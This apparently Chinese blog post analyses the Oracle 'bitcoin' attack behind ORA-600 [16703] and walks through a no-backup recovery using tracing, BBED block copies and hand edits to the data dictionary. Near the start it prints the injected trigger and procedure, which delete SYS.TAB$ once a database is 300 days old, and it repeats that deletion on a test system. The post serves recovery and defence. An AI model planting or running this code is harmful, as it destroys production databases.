ORA-600_16703比特币攻击案例分析（上）
续篇：ORA-600_16703比特币攻击案例分析（下）
近期大量的客户数据库软件被注入恶意代码，导致数据库无法启动，报错ORA-00600: internal error code, arguments: [16703], [1403], [20]，大致的原因和预防措施可参考下面两篇文章：
http://www.eygle.com/archives/2018/07/recover_ora-600_16703.html
大致的意思是由于恶意攻击，$ORACLE_HOME/rdbms/admin/prvtsupp.plb被注入恶意代码。核心部分为一个触发器一个存储过程，清空了tab$，导致数据库启动时，bootstrap阶段无法完成。
触发器如下：
create or replace trigger DBMS_SUPPORT_DBMONITORafter startup on databasedeclarebegin
DBMS_SUPPORT_DBMONITORP;end;
/
触发器用于启动数据库后调用DBMS_SUPPORT_DBMONITORP这个存储过程，存储过程代码如下：
PROCEDURE DBMS_SUPPORT_DBMONITORP ISDATE1 INT :=10;BEGINSELECT TO_CHAR(SYSDATE-CREATED ) INTO DATE1 FROM V$DATABASE;IF (DATE1>=300) THENEXECUTE IMMEDIATE 'create table ORACHK'||SUBSTR(SYS_GUID,10)||' tablespace system as select * from sys.tab$';DELETE SYS.TAB$;COMMIT;EXECUTE IMMEDIATE 'alter system checkpoint';END IF;END;/
该存储过程逻辑为：判断数据库的创建时间是否大于 300 天，如果大于300天则ctas备份tab$之后，delete tab$。
如果有备份的话，那么很简单就不展开了，本文主要介绍没备份的方法。
首先手工构造场景：
模拟DBMS_SUPPORT_DBMONITORP里的内容
SQL> @swl
System altered.
SQL> select count(*) from t;
COUNT(*)----------
13982
SQL> create table t_bak as select * from tab$;
Table created.
SQL> delete from tab$;
1251 rows deleted.
SQL> commit;Commit complete.SQL> alter system checkpoint;
System altered.
SQL> shutdown abort;
ORACLE instance shut down.
此时启动数据库报错ORA-00600: internal error code, arguments: [16703], [1403], [20]
SQL*Plus: Release 11.2.0.4.0 Production on Wed Feb 13 04:21:27 2019Copyright (c) 1982, 2013, Oracle. All rights reserved. Connected to an idle instance.SQL> startupORACLE instance started. Total System Global Area 1269366784 bytesFixed Size 2252864 bytesVariable Size 1191186368 bytesDatabase Buffers 67108864 bytesRedo Buffers 8818688 bytesDatabase mounted. ORA-01092: ORACLE instance terminated. Disconnection forced ORA-00704: bootstrap process failureORA-00704: bootstrap process failureORA-00600: internal error code, arguments: [16703], [1403], [20], [], [], [], [], [], [], [], [], [] Process ID: 3255Session ID: 125 Serial number: 5
恢复思路：
由于有且仅有tab$被delete，所以如果能恢复tab$的数据则数据库将得以恢复，这里我想到的大致恢复方法如下(欢迎大家提供更多的恢复思路)：
-
根据dump redo可以找到tab$被delete的rdba以及具体条目，使用bbed逐一还原(此方法非常麻烦，如果该库的表特别多，会增加更多工作量)。
-
由于恶意代码中，delete tab$前，ctas了一份tab$的备份，可以尝试先open数据库，再根据备份的tab$ insert到tab$中(此方法相对比较方便)。
-
odu抽取数据，重建库(如果库特别大，比如好几个t，甚至10t，100t的库则耗时太长)
本文只介绍第二种比较方便的方法,
恢复步骤大致如下：
-
open数据库
-
根据备份的tab$ insert到tab$中
在恢复之前首先简单介绍一下tab$，tab$是cluster C_OBJ#中的一个table，CLUSTER KEY为OBJ#，C_OBJ#中还包括有ICOL$、IND$、COL$、CLU$、I_OBJ#、COLTYPE$等等bootstrap核心对象，tab$在数据库中是非常核心的一个基表，它记录了table的段头地址以及统计信息。在数据库open过程中，需要访问到的基表对象如果在tab$中不存在，则数据库将无法open，报错即为ORA-00600: internal error code, arguments: [16703], [1403], [xxx]。
CREATE CLUSTER C_OBJ#("OBJ#" NUMBER) PCTFREE 5 PCTUSED 40 INITRANS 2 MAXTRANS 255 STORAGE ( INITIAL 136K NEXT 200K MINEXTENTS 1 MAXEXTENTS 2147483645 PCTINCREASE 0 OBJNO 2 EXTENTS (FILE 1 BLOCK 144)) SIZE 800CREATE TABLE TAB$("OBJ#" NUMBER NOT NULL,"DATAOBJ#" NUMBER,"TS#" NUMBER NOT NULL,"FILE#" NUMBER NOT NULL,"BLOCK#" NUMBER NOT NULL,"BOBJ#" NUMBER,"TAB#" NUMBER,"COLS" NUMBER NOT NULL,"CLUCOLS" NUMBER,"
PCTFREE$" NUMBER NOT NULL,"PCTUSED$" NUMBER NOT NULL,"INITRANS" NUMBER NOT NULL,"MAXTRANS" NUMBER NOT NULL,"FLAGS" NUMBER NOT NULL,"AUDIT$" VARCHAR2(38) NOT NULL,"ROWCNT" NUMBER,"BLKCNT" NUMBER,"EMPCNT" NUMBER,"AVGSPC" NUMBER,"CHNCNT" NUMBER,"AVGRLN" NUMBER,"AVGSPC_FLB" NUMBER,"FLBCNT" NUMBER,"ANALYZETIME" DATE,"SAMPLESIZE" NUMBER,"DEGREE" NUMBER,"INSTANCES" NUMBER,"INTCOLS" NUMBER NOT NULL,"KERNE
LCOLS" NUMBER NOT NULL,"PROPERTY" NUMBER NOT NULL,"TRIGFLAG" NUMBER,"SPARE1" NUMBER,"SPARE2" NUMBER,"SPARE3" NUMBER,"SPARE4" VARCHAR2(1000),"SPARE5" VARCHAR2(1000),"SPARE6" DATE) STORAGE ( OBJNO 4 TABNO 1) CLUSTER C_OBJ#(OBJ#)
如何open数据库？
知道了在数据库open过程中，需要访问到的基表对象如果在tab$中不存在将报错ORA-00600: internal error code, arguments: [16703], [1403], [xxx]，那么将这些对象的信息还原回tab$，则数据库将open成功。
如何确定数据库open需要访问哪些核心基表呢？
找一个正常的数据库做open时的10046，过程如下：
SQL> startup mount;
ORACLE instance started.
Total System Global Area 1269366784 bytes
Fixed Size 2252864 bytes
Variable Size 754978752 bytes
Database Buffers 503316480 bytes
Redo Buffers 8818688 bytes
Database mounted.
SQL> @46on
Statement processed.
Statement processed.
SQL> alter database open;
Database altered.
SQL> @46off
/u01/app/oracle/diag/rdbms/test/test/trace/test_ora_1769.trc
Statement processed.
简单的对10046 trace文件进行筛选则可以找到这些基表的obj#，并在一台同平台同版本的数据库上查询这些对象的rdba地址以及其他信息
[oracle@test ~]$ grep "TABLE ACCESS" /u01/app/oracle/diag/rdbms/test/test/trace/test_ora_1769.trc|awk '{print $7}'|sort|uniq|sed 's/obj=/,/'|awk '{printf $1}'|sed 's/^,//'
10,101,103,104,105,118,12939,1297,12973,1300,13003,1302,1304,13059,1306,1307,1309,1314,13273,13298,13604,14,14137,15,16,160,161,17,18,19,192,2,20,21,22,221,225,226,227,228,23,25,252,28,29,294,297,300,301,302,304,307,31,311,32,390,4,433,436,438,446,448,451,453,455,463,5,506,514,515,517,5541,5582,567,5780,5794,5797,5804,5814,587,59,6,61,6571,6731,69,713,7144,717,721,74,8,80,83,86,88,92,95,98,99
SQL> SELECT a.OBJ#,TAB#,a.DATAOBJ#,BOBJ#,NAME,DBMS_ROWID.ROWID_RELATIVE_FNO(a.ROWID) FILE_ID,DBMS_ROWID.ROWID_BLOCK_NUMBER(a.ROWID) BLOCK_ID
2 FROM TAB$ a,obj$ b
3 WHERE a.obj#=b.obj#
4 AND A.OBJ# IN (10,101,103,104,105,118,12939,1297,12973,1300,13003,1302,1304,13059,1306,1307,1309,1314,13273,13298,13604,14,14137,15,16,160,161,17,18,19,192,2,20,21,22,221,225,226,227,228,23,25,252,28,29,294,297,300,301,302,304,307,31,311,32,390,4,433,436,438,446,448,451,453,455,463,5,506,514,515,517,5541,5582,567,5780,5794,5797,5804,5814,587,59,6,61,69,713,7144,717,721,74,8,80,83,86,88,92,95,98,99) 5 order by 6,7;
OBJ# TAB# DATAOBJ# BOBJ# NAME FILE_ID BLOCK_ID---------- ---------- ---------- ---------- ------------------------------ ---------- ----------
25 25 PROXY_ROLE_DATA$ 1 145
17 17 FILE$ 1 145
20 4 2 2 ICOL$ 1 145
19 3 2 2 IND$ 1 145
28 28 CON$ 1 145
15 15 UNDO$ 1 145
21 5 2 2 COL$ 1 146
16 2 6 6 TS$ 1 146
5 2 2 2 CLU$ 1 146
14 2 8 8 SEG$ 1 146
23 23 PROXY_DATA$ 1 146
22 1 10 10 USER$ 1 147
18 18 OBJ$ 1 147
4 1 2 2 TAB$ 1 147
59 59 BOOTSTRAP$ 1 147
32 2 29 29 CCOL$ 1 147
61 61 OBJAUTH$ 1 148
31 1 29 29 CDEF$ 1 148
69 69 VIEW$ 1 148
80 6 2 2 LOB$ 1 149
74 74 SEQ$ 1 149
83 7 2 2 COLTYPE$ 1 149
99 99 EDITION$ 1 149
98 98 PROPS$ 1 149
95 11 2 2 OPQTYPE$ 1 149
92 10 2 2 REFCON$ 1 149
88 9 2 2 NTAB$ 1 149
86 8 2 2 SUBCOLTYPE$ 1 149
101 101 FIXED_OBJ$ 1 150
103 103 MIGRATE$ 1 150
104 104 DEPENDENCY$ 1 150
105 105 ACCESS$ 1 150
118 118 SYSAUTH$ 1 150
160 160 TRIGGER$ 1 152
161 161 TRIGGERCOL$ 1 152
192 192 SQL$ 1 153
221 221 PROCEDURE$ 1 154
228 228 IDL_SB4$ 1 155
227 227 IDL_UB2$ 1 155
226 226 IDL_CHAR$ 1 155
225 225 IDL_UB1$ 1 155
252 14 2 2 LIBRARY$ 1 156
294 294 RESOURCE_PLAN$ 1 158
297 297 RESOURCE_PLAN_DIRECTIVE$ 1 159
300 300 RESOURCE_STORAGE_POOL_MAPPING$ 1 159
301 301 RESOURCE_CAPABILITY$ 1 159
302 302 RESOURCE_INSTANCE_CAPABILITY$ 1 159
304 304 TSM_SRC$ 1 159
307 307 TSM_DST$ 1 159
311 311 SERVICE$ 1 160
390 390 RADM_FPTM$ 1 163
436 436 XS$SESSION_ROLES 1 165
433 433 XS$SESSIONS 1 165
438 438 XS$SESSION_APPNS 1 165
453 453 TAB_STATS$ 1 166
451 451 AUX_STATS$ 1 166
448 448 HIST_HEAD$ 1 166
446 1 444 444 HISTGRM$ 1 166
455 455 IND_STATS$ 1 166
463 463 ASSOCIATION$ 1 167
506 506 OPTSTAT_HIST_CONTROL$ 1 3337
514 514 ID_GENS$ 1 3337
515 515 OID$ 1 3337
517 17 2 2 TYPE_MISC$ 1 3338
567 567 KOPM$ 1 3339
587 587 PARTOBJ$ 1 3341
713 713 STREAMS$_CAPTURE_PROCESS 1 4396
717 717 STREAMS$_APPLY_PROCESS 1 4396
721 721 STREAMS$_PROPAGATION_PROCESS 1 4396
1297 1297 SYS_FBA_FA 1 7897
1300 1300 SYS_FBA_TSFA 1 7897
1307 1307 SYS_FBA_USERS 1 7897
1306 1306 SYS_FBA_PARTITIONS 1 7897
1304 1304 SYS_FBA_TRACKEDTABLES 1 7897
1302 1302 SYS_FBA_BARRIERSCN 1 7897
1314 1314 REGISTRY$ 1 7898
1309 1309 SYS_FBA_DL 1 7898
5541 5541 DAM_CONFIG_PARAM$ 1 9952
5582 5582 INVALIDATION_REGISTRY$ 1 9954
5780 5780 LOC$ 1 9963
5804 5804 AQ$_QUEUE_TABLE_AFFINITIES 1 9965
5797 5797 AQ$_QUEUES 1 9965
5794 5794 AQ$_QUEUE_TABLES 1 9965
5814 5814 AQ$_SCHEDULES 1 9965
7144 7144 REPCAT$_REPPROP 1 13368
12939 12939 AQ$_SCHEDULER$_EVENT_QTAB_L 1 22502
12973 12973 AQ$_SCHEDULER$_REMDB_JOBQTAB_L 1 22504
13003 13003 AQ$_SCHEDULER_FILEWATCHER_QT_L 1 22506
13059 13059 AQ$_ALERT_QT_L 1 22509
13273 13273 AQ_EVENT_TABLE 1 22518
13298 13298 AQ$_AQ_PROP_TABLE_L 1 22519
13604 13604 AQ$_SYS$SERVICE_METRICS_TAB_L 1 31492
14137 14137 AQ$_WM$EVENT_QUEUE_TABLE_L 1 31514
93 rows selected.
这些对象在同版本同平台的数据库上的rdba地址一般都是一致的，所以找一台正常运行的同版本同平台的数据库(最好是比较干净的库，否则后续处理会比较麻烦)，使用bbed进行替换，用sql拼接出bbed的命令
SQL> SELECT DISTINCT 'copy file 2 block '||block_id||' to file '||FILE_ID||' block '||BLOCK_ID FROM ( 2 SELECT a.OBJ#,TAB#,a.DATAOBJ#,BOBJ#,NAME,DBMS_ROWID.ROWID_RELATIVE_FNO(a.ROWID) FILE_ID,DBMS_ROWID.ROWID_BLOCK_NUMBER(a.ROWID) BLOCK_ID
3 FROM TAB$ a,obj$ b
4 WHERE a.obj#=b.obj#
5 AND A.OBJ# IN (10,101,103,104,105,118,12939,1297,12973,1300,13003,1302,1304,13059,1306,1307,1309,1314,13273,13298,13604,14,14137,15,16,160,161,17,18,19,192,2,20,21,22,221,225,226,227,228,23,25,252,28,29,294,297,300,301,302,304,307,31,311,32,390,4,433,436,438,446,448,451,453,455,463,5,506,514,515,517,5541,5582,567,5780,5794,5797,5804,5814,587,59,6,61,69,713,7144,717,721,74,8,80,83,86,88,92,95,98,99));
'COPYFILE2BLOCK'||BLOCK_ID||'TOFILE'||FILE_ID||'BLOCK'||BLOCK_ID----------------------------------------------------------------------------------------------------------------------------------------------------------copy file 2 block 156 to file 1 block 156
copy file 2 block 160 to file 1 block 160
copy file 2 block 3339 to file 1 block 3339
copy file 2 block 7898 to file 1 block 7898
copy file 2 block 9965 to file 1 block 9965
copy file 2 block 149 to file 1 block 149
copy file 2 block 153 to file 1 block 153
copy file 2 block 9952 to file 1 block 9952
copy file 2 block 13368 to file 1 block 13368
copy file 2 block 150 to file 1 block 150
copy file 2 block 152 to file 1 block 152
copy file 2 block 158 to file 1 block 158
copy file 2 block 165 to file 1 block 165
copy file 2 block 9963 to file 1 block 9963
copy file 2 block 147 to file 1 block 147
copy file 2 block 145 to file 1 block 145
copy file 2 block 148 to file 1 block 148
copy file 2 block 154 to file 1 block 154
copy file 2 block 166 to file 1 block 166
copy file 2 block 4396 to file 1 block 4396
copy file 2 block 9954 to file 1 block 9954
copy file 2 block 22502 to file 1 block 22502
copy file 2 block 22506 to file 1 block 22506
copy file 2 block 155 to file 1 block 155
copy file 2 block 159 to file 1 block 159
copy file 2 block 22504 to file 1 block 22504
copy file 2 block 31492 to file 1 block 31492
copy file 2 block 146 to file 1 block 146
copy file 2 block 163 to file 1 block 163
copy file 2 block 3338 to file 1 block 3338
copy file 2 block 7897 to file 1 block 7897
copy file 2 block 22509 to file 1 block 22509
copy file 2 block 31514 to file 1 block 31514
copy file 2 block 167 to file 1 block 167
copy file 2 block 3337 to file 1 block 3337
copy file 2 block 3341 to file 1 block 3341
copy file 2 block 22518 to file 1 block 22518
copy file 2 block 22519 to file 1 block 22519
38 rows selected.
[oracle@test ~]$ bbed parfile=bbed
BBED: Release 2.0.0.0.0 - Limited Production on Thu Feb 14 03:47:47 2019Copyright (c) 1982, 2011, Oracle and/or its affiliates. All rights reserved.
************* !!! For Oracle Internal Use only !!! ***************
BBED> info File# Name Size(blks) ----- ---- ----------
1 /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw 0
2 /u01/app/oracle/oradata/TEST/datafile/o1_mf_system_g5vltnf 0
ORA-600_16703比特币攻击案例分析（下）
可以看到这里需要替换38个数据块，替换后可以成功open数据库
BBED> copy file 2 block 156 to file 1 block 156 Warning: contents of previous BIFILE will be lost. Proceed? (Y/N) Y File: /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbf (1) Block: 156 Offsets: 0 to 511 Dba:0x0040009c------------------------------------------------------------------------ 06a20000 9c004000 13000300 00000106 c8120000 01000000 02000000 12000300 00000000 02000200 00000000 00006100 0f000000 81004000 18003000 00800000 970a0000 07000d00 99000000 8d59c000 1b001700 02200000 13000300 00076300 fffff000 50020f08 0f080000 0a000a00 0a001400 00001400 0b001f00 0e002d00 35006200 0100891f 511d0219 6217c215 6b14a012 ea10730f 610d8c08 64044105 89030a09 580aaa02 da097c06 b7070f1e 3c080d04 e6042e03 50028a09 1f06c505 5b070107 c41da71d 75195819 d517b817 35161816 3f11c90f 140eb70d 6e0b120b ea1eb61e 831e4d1e b31c7b1c 401c071c c91b921b 571b1e1b e21aa81a 701a391a 021ac919 92196318 2b18f217 c3168b16 52162815 ef14ba14 8214d113 98135d13 2413ef12 b7120112 c8119111 5c114b10 1810e60f cb0e940e 630e310e c20c8e0c 540c210c f00bc00b 8b0be11d 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 <32 bytes per line> BBED> set count 1 COUNT 1BBED> copy file 2 block 156 to file 1 block 156 File: /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbf (1) Block: 156 Offsets: 0 to 0 Dba:0x0040009c------------------------------------------------------------------------ 06 <32 bytes per line> BBED> copy file 2 block 160 to file 1 block 160......省略
尝试open数据库：SQL> conn / as sysdbaConnected to an idle instance.SQL> startupORACLE instance started.
Total System Global Area 1269366784 bytesFixed Size 2252864 bytesVariable Size 1191186368 bytesDatabase Buffers 67108864 bytesRedo Buffers 8818688 bytesDatabase mounted.Database opened.
从alert日志可以看到此时数据库open伴随着ora-7445，并且5分钟后就会crash掉，所以要抓紧着5分钟的操作时间
Thu Feb 14 03:52:16 2019
QMNC started with pid=20, OS id=2696
Exception [type: SIGSEGV, SI_KERNEL(general_protection)] [ADDR:0x0] [PC:0xC1B4BF, kauxalo()+355] [flags: 0x0, count: 1]
Errors in file /u01/app/oracle/diag/rdbms/lxy/lxy/trace/lxy_mmon_2682.trc (incident=230658):
ORA-07445: exception encountered: core dump [kauxalo()+355] [SIGSEGV] [ADDR:0x0] [PC:0xC1B4BF] [SI_KERNEL(general_protection)] []
Incident details in: /u01/app/oracle/diag/rdbms/lxy/lxy/incident/incdir_230658/lxy_mmon_2682_i230658.trcUse ADRCI or Support Workbench to package the incident.
See Note 411.1 at My Oracle Support for error and packaging details.
Completed: ALTER DATABASE OPENThu Feb 14 03:52:20 2019Dumping diagnostic data in directory=[cdmp_20190214035220], requested by (instance=1, osid=2682 (MMON)), summary=[incident=230658].
Thu Feb 14 03:57:17 2019Exception [type: SIGSEGV, Address not mapped to object] [ADDR:0x8F] [PC:0x960E760, qkaRemoveNodeCB()+36] [flags: 0x0, count: 1]Errors in file /u01/app/oracle/diag/rdbms/lxy/lxy/trace/lxy_smon_2678.trc (incident=230642):
ORA-07445: exception encountered: core dump [qkaRemoveNodeCB()+36] [SIGSEGV] [ADDR:0x8F] [PC:0x960E760] [Address not mapped to object] []
Incident details in: /u01/app/oracle/diag/rdbms/lxy/lxy/incident/incdir_230642/lxy_smon_2678_i230642.trcUse ADRCI or Support Workbench to package the incident.
See Note 411.1 at My Oracle Support for error and packaging details.
Thu Feb 14 03:57:20 2019System state dump requested by (instance=1, osid=2654 (PMON)), summary=[abnormal instance termination].System State dumped to trace file /u01/app/oracle/diag/rdbms/lxy/lxy/trace/lxy_diag_2664_20190214035720.trc
Thu Feb 14 03:57:20 2019PMON (ospid: 2654): terminating the instance due to error 474Dumping diagnostic data in directory=[cdmp_20190214035720], requested by (instance=1, osid=2654 (PMON)), summary=[abnormal instance termination].Instance terminated by PMON, pid = 2654
如何将备份的tab$insert回tab$?
由于tab$的备份表在tab$中并没有恢复所以无法查询，下面需要根据redodump去确定tab$的备份表t_bak的rdba
SQL> desc t_bak ERROR: ORA-03113: end-of-file on communication channel Process ID: 2812Session ID: 125 Serial number: 7
通过对logdump搜索OBJ:2(C_OBJ#的dataobj#)、OP:11.2(insert操作)、tabn：1(C_OBJ#中tab$的tab#),以及查出来的t_bak的obj#，不难找到create table as t_bak对tab$的redo日志：
CHANGE #2 TYP:2 CLS:1 AFN:1 DBA:0x00407b2c OBJ:2 SCN:0x0000.000f5a8b SEQ:1 OP:11.2 ENC:0 RBL:0KTB Redo op: 0x11 ver: 0x01 compat bit: 4 (post-11) padding: 1op: F xid: 0x0004.00f.0000011e uba: 0x00c00630.0050.37Block cleanout record, scn: 0x0000.000f5a8b ver: 0x01 opt: 0x02, entries follow... itli: 1 flg: 2 scn: 0x0000.000f5a8b KDO Op code: IRP row dependencies Disabled xtype: XA flags: 0x00000000 bdba: 0x00407b2c hdba: 0x00400090itli: 2 ispac: 0 maxfr: 4863tabn: 1 slot: 2(0x2) size/delt: 123fb: -CH-FL-- lb: 0x2 cc: 36 cki: 0null:01234567890123456789012345678901234567890123456789012345678901234567890123456789----NN-N------NNNNNNNNNNNN-----NNNN-col 0: [ 4] c3 02 30 34 --obj#col 1: [ 1] 80col 2: [ 2] c1 02col 3: [ 4] c3 05 61 29col 4: *NULL*col 5: *NULL*col 6: [ 2] c1 26col 7: *NULL*col 8: [ 2] c1 0bcol 9: [ 2] c1 29col 10: [ 2] c1 02col 11: [ 3] c2 03 38col 12: [ 2] c1 02col 13: [38] 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2dcol 14: *NULL*col 15: *NULL*col 16: *NULL*col 17: *NULL*col 18: *NULL*col 19: *NULL*col 20: *NULL*col 21: *NULL*col 22: *NULL*col 23: *NULL*col 24: *NULL*col 25: *NULL*col 26: [ 2] c1 26col 27: [ 2] c1 26col 28: [ 6] c5 06 25 58 0a 0dcol 29: [ 1] 80col 30: [ 3] c2 02 4dcol 31: *NULL*col 32: *NULL*col 33: *NULL*col 34: *NULL*col 35: [ 7] 78 77 01 1f 0e 25 01
可以看到t_bak在tab$的rdba地址为0x00407b2c(file 1 block 31532），cki为0即cluster key为kdbr[0]
BBED> set count 16
COUNT 16BBED> set file 1 block 31532
FILE# 1
BLOCK# 31532BBED> p *kdbr[0]
rowdata[2060]-------------ub1 rowdata[2060] @2601 0xacBBED> x /rx
rowdata[2060] @2601 -------------flag@2601: 0xac (KDRHFL, KDRHFF, KDRHFH, KDRHFK)lock@2602: 0x00cols@2603: 1kref@2604: 38mref@2606: 37hrid@2608:0x00407b2c.0nrid@2614:0x00407b2c.0col 0[4] @2620: 0xc3 0x02 0x30 0x34
与redo dump一致，下面开始恢复tab$中t_bak的记录，由于是cluster block所以过程有点繁琐
BBED> p *kdbr[5]
rowdata[1937]-------------ub1 rowdata[1937] @2478 0x7c
BBED> x /rn
rowdata[1937] @2478
-------------flag@2478: 0x7c (KDRHFL, KDRHFF, KDRHFD, KDRHFH, KDRHFC)lock@2479: 0x02cols@2480: 0BBED> m /x 6c offset 2478
File: /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbf (1) Block: 31532 Offsets: 2478 to 2493 Dba:0x00407b2c------------------------------------------------------------------------
6c022400 04c30230 34018002 c10204c3
<32 bytes per line>
BBED> sum applyCheck value for File 1, Block 31532:current = 0x1e1f, required = 0x1e1fBBED> v
DBVERIFY - Verification startingFILE = /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbfBLOCK = 31532Block Checking: DBA = 4225836, Block Type = KTB-managed data blockdata header at 0x7f1cebc1d25ckdbchk: key comref count wrong
keyslot=0Block 31532 failed with check code 6121DBVERIFY - Verification completeTotal Blocks Examined : 1Total Blocks Processed (Data) : 1Total Blocks Failing (Data) : 1Total Blocks Processed (Index): 0Total Blocks Failing (Index): 0Total Blocks Empty : 0Total Blocks Marked Corrupt : 0Total Blocks Influx : 0Message 531 not found; product=RDBMS; facility=BBED
BBED> m /x 26 offset 2606
File: /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbf (1)
Block: 31532 Offsets: 2606 to 2621 Dba:0x00407b2c------------------------------------------------------------------------
26000040 7b2c0000 00407b2c 000004c3
<32 bytes per line>
BBED> sum applyCheck value for File 1, Block 31532:current = 0x1e1c, required = 0x1e1cBBED> v
DBVERIFY - Verification startingFILE = /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbfBLOCK = 31532Block Checking: DBA = 4225836, Block Type = KTB-managed data blockdata header at 0x11e5a5ckdbchk: the amount of space used is not equal to block size
used=3398 fsc=385 avsp=4432 dtl=8096Block 31532 failed with check code 6110DBVERIFY - Verification completeTotal Blocks Examined : 1Total Blocks Processed (Data) : 1Total Blocks Failing (Data) : 1Total Blocks Processed (Index): 0Total Blocks Failing (Index): 0Total Blocks Empty : 0Total Blocks Marked Corrupt : 0Total Blocks Influx : 0Message 531 not found; product=RDBMS; facility=BBED
BBED> p kdbh
struct kdbh, 14 bytes @92
ub1 kdbhflag @92 0x00 (NONE)
sb1 kdbhntab @93 7
sb2 kdbhnrow @94 127
sb2 kdbhfrre @96 6
sb2 kdbhfsbo @98 296
sb2 kdbhfseo @100 449
sb2 kdbhavsp @102 4432
sb2 kdbhtosp @104 4829
BBED> p ktbbhitl
struct ktbbhitl[0], 24 bytes @44
struct ktbitxid, 8 bytes @44
ub2 kxidusn @44 0x0008
ub2 kxidslt @46 0x0005
ub4 kxidsqn @48 0x00000182
struct ktbituba, 8 bytes @52
ub4 kubadba @52 0x00c00d2f
ub2 kubaseq @56 0x0086
ub1 kubarec @58 0x14
ub2 ktbitflg @60 0x8000 (KTBFCOM)
union _ktbitun, 2 bytes @62
sb2 _ktbitfsc @62 0
ub2 _ktbitwrp @62 0x0000
ub4 ktbitbas @64 0x00102cd7
struct ktbbhitl[1], 24 bytes @68
struct ktbitxid, 8 bytes @68
ub2 kxidusn @68 0x0009
ub2 kxidslt @70 0x0009
ub4 kxidsqn @72 0x0000018f
struct ktbituba, 8 bytes @76
ub4 kubadba @76 0x00c00499
ub2 kubaseq @80 0x00f9
ub1 kubarec @82 0x09
ub2 ktbitflg @84 0x2003 (KTBFUPB)
union _ktbitun, 2 bytes @86
sb2 _ktbitfsc @86 385
ub2 _ktbitwrp @86 0x0181
ub4 ktbitbas @88 0x00102ce3
BBED> m /x 0000 offset 86
File: /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbf (1)
Block: 31532 Offsets: 86 to 101 Dba:0x00407b2c------------------------------------------------------------------------
0000e32c 10000007 7f000600 2801c101
<32 bytes per line>
BBED> m /x 5a12 offset 102
File: /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbf (1)
Block: 31532 Offsets: 102 to 117 Dba:0x00407b2c------------------------------------------------------------------------
5a1210d9 00000300 03000300 06000000
<32 bytes per line>
BBED> m /x 5a12 offset 104
File: /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbf (1)
Block: 31532 Offsets: 104 to 119 Dba:0x00407b2c------------------------------------------------------------------------
5a120000 03000300 03000600 00000600
<32 bytes per line>
BBED> sum applyCheck value for File 1, Block 31532:current = 0x1c10, required = 0x1c10BBED> v
DBVERIFY - Verification startingFILE = /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbfBLOCK = 31532Block Checking: DBA = 4225836, Block Type = KTB-managed data blockdata header at 0x1207a5ckdbchk: space available on commit is incorrect
tosp=4698 fsc=0 stb=8 avsp=4698Block 31532 failed with check code 6111DBVERIFY - Verification completeTotal Blocks Examined : 1Total Blocks Processed (Data) : 1Total Blocks Failing (Data) : 1Total Blocks Processed (Index): 0Total Blocks Failing (Index): 0Total Blocks Empty : 0Total Blocks Marked Corrupt : 0Total Blocks Influx : 0Message 531 not found; product=RDBMS; facility=BBED
BBED> m /x 6212 offset 104
File: /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbf (1)
Block: 31532 Offsets: 104 to 119 Dba:0x00407b2c------------------------------------------------------------------------
62120000 03000300 03000600 00000600
<32 bytes per line>
BBED> sum applyCheck value for File 1, Block 31532:current = 0x1c28, required = 0x1c28BBED> v
DBVERIFY - Verification startingFILE = /u01/app/oracle/oradata/LXY/datafile/o1_mf_system_fzvzmcmw_.dbfBLOCK = 31532DBVERIFY - Verification completeTotal Blocks Examined : 1Total Blocks Processed (Data) : 1Total Blocks Failing (Data) : 0Total Blocks Processed (Index): 0Total Blocks Failing (Index): 0Total Blocks Empty : 0Total Blocks Marked Corrupt : 0Total Blocks Influx : 0Message 531 not found; product=RDBMS; facility=BBED
SQL> select count(*) from t_bak;
COUNT(*)----------
1250
t_bak已经恢复完成，下面insert回tab$
SQL> insert into tab$ select * from (select * from t_bak where obj# in (select obj# from t_bak where obj#<>14751 minus select obj# from tab$));
982 rows created.
SQL> commit;Commit complete.SQL> select count(*) from t;
COUNT(*)----------
13982
至此数据库基本恢复完成。
但是通过hcheck脚本检查数据字典一致性发现还是有一些问题存在：
SQL> @hcheck
HCheck Version 07MAY18 on 14-FEB-2019 22:49:53----------------------------------------------Catalog Version 11.2.0.4.0 (1102000400)
db_name: LXY
Catalog Fixed
Procedure Name Version Vs Release TimestampResult------------------------------ ... ---------- -- ---------- --------------------.- LobNotInObj ... 1102000400 <= *All Rel* 02/14 22:49:53 PASS
.- MissingOIDOnObjCol ... 1102000400 <= *All Rel* 02/14 22:49:53 FAIL
HCKE-0002: Object type column with missing OID$ (Doc ID 1360268.1)
OBJ#=12946 Name=SYS.AQ$SCHEDULER$_EVENT_QTAB IntCol#=20=USER_DATA TabProp=
OBJ#=12953 Name=SYS.SCHEDULER$_REMDB_JOBQTAB IntCol#=28=USER_DATATabProp=539101206OBJ#=12953 Name=SYS.SCHEDULER$_REMDB_JOBQTAB IntCol#=31=SYS_NC00031$
TabProp=539101206OBJ#=12953 Name=SYS.SCHEDULER$_REMDB_JOBQTAB IntCol#=46=SYS_NC00046$
TabProp=539101206OBJ#=12987 Name=SYS.SCHEDULER_FILEWATCHER_QT IntCol#=28=USER_DATATabProp=539101190OBJ#=12987 Name=SYS.SCHEDULER_FILEWATCHER_QT IntCol#=35=SYS_NC00035$
